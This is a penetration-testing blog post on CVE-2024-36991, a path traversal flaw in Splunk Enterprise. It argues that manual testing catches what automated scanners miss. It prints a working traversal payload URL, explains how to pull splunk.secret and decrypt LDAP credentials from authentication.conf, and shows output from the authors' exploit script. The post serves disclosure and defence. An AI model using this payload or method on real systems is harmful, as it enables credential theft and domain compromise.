During one of our recent penetration tests, we discovered a critical vulnerability in Splunk Enterprise that automated security scanners like Nessus missed. This article underscores why manual penetration testing remains essential, even when automated tools are widely used in security assessments. By sharing this experience, we hope to highlight how manual testing can uncover vulnerabilities that scanners often overlook.
CVE-2024-36991 affects multiple versions of Splunk Enterprise, including versions prior to 9.2.2, 9.1.5, and 9.0.10. The vulnerability is a path traversal flaw in the /modules/messaging/ endpoint, specifically on Windows systems. Exploiting this flaw allows attackers to access arbitrary files on the system.
Automated scanners like Nessus rely on certain stimuli and responses to identify the vendor, product and version exposed in each port and on vendor-provided vulnerability data to determine which versions are affected. While these tools are invaluable for recurrent checks and quick assessments, they have limitations that can result in false negatives or missed vulnerabilities.
One of the main reasons for misidentifying the version as non-vulnerable in the case at hand is that security support for Splunk Enterprise version 7.3.9 ended on October 22, 2021—over five years ago. When a product version reaches its end-of-life no further vulnerabilities are identified for it and not patches are provided for it, leaving them exposed to unpatched vulnerabilities.
Additionally, security support for the last version of Splunk Enterprise 8 (version 8.2.12) ended on May 12, 2023, further highlighting the risks of using EOL software.
Since many automated scanners primarily focus on supported versions and vendor-disclosed vulnerabilities, they may overlook EOL software—even when it remains at risk.
In our case, Nessus flagged only certain Splunk versions as vulnerable. Yet, through manual testing, we discovered that Splunk Enterprise 7.3.4, which was not listed as affected, was also vulnerable. This suggests that Splunk’s vulnerability disclosures were incomplete or inaccurate, causing security tools like Nessus to overlook at-risk installations. Had I relied solely on automated scanning, I would have missed this critical discovery.
All versions of Splunk Enterprise 7, from 7.2.4 to the last version 7.3.9, were vulnerable. Additionally, Splunk Enterprise versions 8.0.0 to 8.2.12 are also known to be affected.
This highlights the risks of relying solely on automated scanners. for vulnerability identification during the course of a penetration test. Because these tools depend on vendor disclosures, they may fail to detect vulnerabilities in software that is no longer receiving security updates.
This underscores a fundamental truth in cybersecurity: automated scanners can only detect what they are programmed to find. This is why frameworks like PCI DSS and NIST rely on automated scanners for routine checks but still require manual penetration testing for deeper analysis. While automated tools excel at identifying known risks, human intuition and in-depth analysis are essential for uncovering vulnerabilities that may not be included in a scanner's database—especially in EOL software.
Scanner |
Version Check for CVE-2024-36991 |
Notes |
---|---|---|
Nessus |
Flags certain affected versions |
Detects vulnerability only on certain versions of Splunk, including some not listed as affected by the CVE. |
Acunetix |
Missing CVE Check |
Does not detect the vulnerability in affected versions of Splunk, even those deemed "not vulnerable" by the CVE, as outlined on Acunetix's vulnerability database. |
By combining automated scanning with manual penetration testing, organizations can ensure a comprehensive security posture, uncovering risks that might otherwise go unnoticed and maintaining both compliance and resilience against emerging threats.
This vulnerability can be exploited by crafting a request with a malicious URL path targeting the /modules/messaging/ endpoint. The attack relies on manipulating the os.path.join function, which removes the drive letter if it matches the current directory. This allows the attacker to bypass directory restrictions and access files that should be out of reach.
Example payload:
/en-US/modules/messaging/C:../C:../C:../C:../C:../etc/passwd
This payload uses path traversal (../) to reach the /etc/passwd file, commonly targeted by attackers seeking sensitive user data. The flaw in the path handling enables this attack to bypass restrictions and read files from any directory.
During our initial research, most discussions and proof-of-concept exploits on GitHub focused on targeting $SPLUNK_HOME/etc/passwd. While this file is a common target, cracking it takes considerable time and only grants access to the Splunk system. We discovered more critical files within the Splunk directory structure that could provide much broader access:
These files, particularly authentication.conf, can reveal LDAP credentials, which could lead to system access or even domain compromise if administrators use overly privileged accounts. By extracting splunk.secret and decrypting authentication.conf, we obtained LDAP administrator credentials, granting full access to the LDAP directory and potentially other systems relying on these credentials. Unlike cracking the Splunk password hash, gaining access to LDAP credentials could compromise the entire system or even the domain it supports - depending on tis configuration.
Splunk uses splunk.secret as a key to encrypt sensitive configuration files, including passwords, API keys, and other authentication secrets. The encryption mechanism varies based on Splunk’s version:
The splunk.secret file is essential because it acts as a decryption key for other encrypted configuration files, such as:
In our test environment running Splunk Enterprise 7.3.4, RC4 encryption was still in use, likely because the instance had been upgraded from an older version. To automate the process of extracting and decrypting sensitive data, we wrote a Python script (CVE-2024-36991.py) that:
Example output:
% python3 CVE-2024-36991.py -u https://x.x.x.x:8000
[+] Checking if target is a Splunk server...
[+] Target is a Splunk server.
[+] Target is running on Splunk Enterprise 7.3.4
[+] Attempting to retrieve splunk.secret...
[+] splunk.secret retrieved successfully.
[+] Attempting to retrieve hash values...
[+] server.conf:
sslKeysfilePassword: $1$Qw[...snip...] -> Decrypted: changeme
sslPassword: $1$Qw[...snip...] -> Decrypted: changeme
pass4SymmKey: $1$Qw[...snip...] -> Decrypted: changeme
[+] authentication.conf:
authType: LDAP
bindDN: Splunk
bindDNpassword: $1$[...snip...] -> Decrypted: [...snip...]
Below is the output when the target uses local authentication instead of LDAP:
% python3 CVE-2024-36991.py -u http://192.168.31.117:8000
[+] Checking if target is a Splunk server...
[+] Target is a Splunk server.
[+] Target is running on Splunk Enterprise 7.3.4
[+] Attempting to retrieve splunk.secret...
[+] splunk.secret retrieved successfully.
[+] Attempting to retrieve hash values...
[+] server.conf:
sslKeysfilePassword: Not found
sslPassword: $7$OYrdFSIokdFgpBLPFWb1WrJ2ZplMWDbXk/TS7FhyN3s7dJ7UoOBOzg== ->
Decrypted: password
pass4SymmKey: $7$Hg+2WSQPxEKlWBlIVtopjAA5ALd/65+AA7Ca8ChlOYN83DYPDkSZ+Q== ->
Decrypted: changeme
[+] authentication.conf:
authType: Not found
bindDN: Not found
bindDNpassword: Not found
This script made it easy to retrieve and decrypt sensitive credentials, such as LDAP bind credentials (if LDAP authentication is used), allowing us to escalate privileges and gain access to further systems.
This pentest reinforced the need for manual testing in identifying security flaws that automated tools might miss. Automated vulnerability scanners are useful but not foolproof. If you're testing Splunk or similar systems, don’t rely solely on known CVEs—dig deeper and explore overlooked security gaps. Additionally, maintaining up-to-date software is crucial, as relying on unsupported, EOL systems significantly increases the risk of exploitation.
Recent cybersecurity breaches demonstrate that solely relying on Penetration Testing when evaluating an organisation's cybersecurity posture is a thing of the past. OrionX offers the most comprehensive security services to stop adversaries disrupting your business.
Keith has extensive experience of information security consulting with over 15 years of work experience with the information security industry. Keith has presented in numerous conferences such as Black Hat, Defcon, Hack the Box, Zeronights, PHDays, Rootcon, CRESTCon and Thotcon.
We are proud to announce Penelope, a powerful and user-friendly shell handler tool created by Christodoulos Lamprinos. Penelope is designed to streamline the process of handling reverse shells and ...
FGX2022-001: Foregenix OrionX Security Advisory CVE: CVE-2022-21552 CVSSv3.1 Base Score: 7.2 CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N Version: 1.0 Vendor: Oracle Product: WebCenter ...
A few months ago, during an internal infrastructure penetration test, the network printers played a very important role in the assessment. What initially looked like a not-so-important low severity ...